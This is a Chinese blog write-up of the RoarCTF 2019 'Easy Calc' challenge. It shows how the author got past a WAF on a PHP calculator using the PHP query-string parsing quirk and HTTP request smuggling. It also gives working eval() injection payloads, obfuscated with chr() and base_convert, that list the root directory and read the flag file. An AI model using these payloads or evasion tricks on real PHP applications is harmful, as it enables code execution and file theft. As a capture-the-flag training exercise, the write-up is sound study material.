[原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

 简介

 原题复现:

 考察知识点:http协议走私、php字符串解析漏洞

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

 过程

一枚菜狗打开页面  懵逼一个小时然后   搜索WP。。。。。

查看源码发现

利用php字符串解析漏洞

计算的时候会访问calc.php页面  访问它获得源码  审计发现有个过滤  过滤完执行eval()

 

所以可以构造

http://node3.buuoj.cn:28719/calc.php?num=phpinfo()  出错 被waf挡住了

http://node3.buuoj.cn:28719/calc.php?%20num=phpinfo() 利用php字符串解析特性在变量前面加上空格即可绕过   绕过姿势文章:https://www.freebuf.com/column/207936.html

 继续构造

http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(scandir(chr(47)))

http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 

HTTP走私绕过WAF

http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html

CL-CL

两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

 CL-TE

CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

 

 构造payload获得Flag
使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数
36进制scandir->10进制61693386291
36进制readfile->10进制2146934604002
ascii码/->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)


var_dump(base_convert(61693386291,10,36)(chr(47)))

 

 读取flag

var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

 

 

 参考学习:https://xz.aliyun.com/t/6654

 

posted @ 2020-03-11 10:52  笑花大王  阅读(705)  评论(0编辑  收藏  举报